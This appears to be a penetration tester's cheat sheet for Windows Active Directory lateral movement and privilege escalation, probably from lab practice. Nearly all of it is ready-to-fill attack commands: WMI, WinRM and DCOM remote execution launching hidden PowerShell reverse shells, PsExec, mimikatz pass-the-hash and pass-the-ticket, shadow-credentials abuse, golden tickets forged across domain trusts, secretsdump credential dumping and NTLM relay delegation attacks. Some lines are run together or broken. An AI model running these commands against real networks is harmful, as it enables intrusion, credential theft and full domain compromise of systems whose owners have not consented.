Useful when we can’t install something like ligolo and pivot to compromise an internal machine
Windows Management Instrumentation
wmic
(recently deprecated, but still probably good) on DMZ
wmic /node:{target_IP} /user:{domain_user} /password:{password} process call create "{process}"
$username = '{domain_user}';
$password = '{password}';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$Options = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName {target_IP} -Credential $credential -SessionOption $Options
$Command = 'powershell -nop -w hidden -e {reverse_shell_powershell_b64}';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
WinRM
winrs -r:{target_dnshostname} -u:{domain_user} -p:{password} "cmd /c {command}"
or winrs -r:{target_dnshostname} -u:{domain_user} -p:{password} "powershell -nop -w hidden -e {reverse_shell_powershell_base64}"
DCOM
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","{target_IP}"))
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"{powershell -nop -w hidden -e {reverse_shell_powershell_base64}}","7")
$username = '{domain_user}';
$password = '{password}';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
New-PSSession -ComputerName {target} -Credential $credential
Enter-PSSession {PSSession_ID_returned}
PsExec
ADMIN$
share available (on by default)./PsExec64.exe -i \\{dnshostname} -u {domain}\{domain_user} -p {password} cmd
SMB
net view //{dnshostname_or_IP} /all
Overpass the Hash
RunAs
but for a domain user’s hashsekurlsa::pth /user:{domain_user} /domain:{domain} /ntlm:{compromised_hash} /run:powershell
net use \\files04
PsExec.exe \\{dnshostname} powershell
Administrator
local user, not just an administrative user
Pass the Ticket
sekurlsa::tickets /export
.kirbi
format in the same file directory, ls to find the ticket names (among other info)kerberos::ptt {ticket_name}
ls \\web04\
will just give an error. Type ls \\web04\
and press tab (or just Find-DomainShare
with PowerView)Rubeus.exe triage
to list available ticketsShadow Credentials
certipy shadow -u "{user}@{domain}" -p {password} -dc-ip {dc_ip} -account '{target_user}' auto
net
on kali
net rpc group addmem '{target_group}' {user_to_add} -U '{domain}/{owned_user}%{password} -S '{dc_fqdn}'
pywhisker -d "{domain}" -u "{owned_user}" -p "{owned_user_password}" --target "{target_user}" --action "add" --dc-ip {dc-ip} -f {filename} --pfx-password '{pfx_file_password}'
gettgtpkinit.py -cert-pfx {pfx_file} "{domain}/{target_user}" {user}.ccache -pfx-pass '{pfx_pass}' -dc-ip {dc_ip}
certipy auth -pfx {pfx_file} -dc-ip {dc-ip} -domain {domain_name} -username {target_user}
-no-save
if we don’t want the ccache fileAbusing Domain Trusts
lookupsid.py
lookupsid.py -domain-sids {domain_user_domain}/{domain_user}:{password}@{target_dc_IP} 0
ticketer.py
can use krbtgt
’s nthash to create a golden ticket
ticketer.py -nthash {child_krbtgt_nthash} -domain {child_domain} -domain-sid {child_domain_sid} -extra-sid {parent_domain_sid}-519 fakeuser
Get-ADDomain -Identity {domain_name}
export KRB5CCName={path_to_ticket}
, but I think impacket will recognize it in our directory for the specified usersecretsdump
or psexec
secretsdump.py -k -no-pass {child_domain}/fakeuser@{parent_domain_machine_name}
ticketer.py -nthash {DOMAIN$_NTLM_trust_hash} -domain {child_domain} -domain-sid {child_domain_sid} -extra-sid {parent_domain_sid}-519 -spn krbtgt/{parent_domain_name} fakeuser
SEVENKINGDOMS$:1104:{hash}:::
export KRB5CCName={path_to_ticket}
getST.py
getST.py -k -no-pass -spn {spn}/{parent_domain_computer_name} '{parent_domain}/fakeuser@{parent_domain}' -debug
secretsdump.py -k -no-pass fakeuser@kingslanding.sevenkingdoms.local
cifs/
service ticket, as dumping secrets is done through SMBAbusing Delegation to a Machine We Control
ntlmrelayx
supports providing delegation to our owned computer accounts with --delegate-access
coercer coerce -l {our_IP} -t {target_IP} --always-continue -u {username} -p {password}
ntlmrelayx
to add a computer to the domain using the relayed credentials which the coerced machine has delegation rights over:
ntlmrelayx.py -t ldaps://{dc_IP} -smb2support --remove-mic --add-computer {new_computer_name} --delegate-access
getST.py -spn HOST/{target_machine_name}.{domain} -impersonate Administrator -dc-ip {dc_ip} '{domain}/{new_computer_name}:{new_computer_pass}'
export KRB5CCNAME=./Administrator.ccache; secretsdump.py -k -no-pass {domain}/Administrator@{target_ip}
Getting More Credentials
vault::cred /patch
will enumerate vault credentials (creds used in scheduled tasks)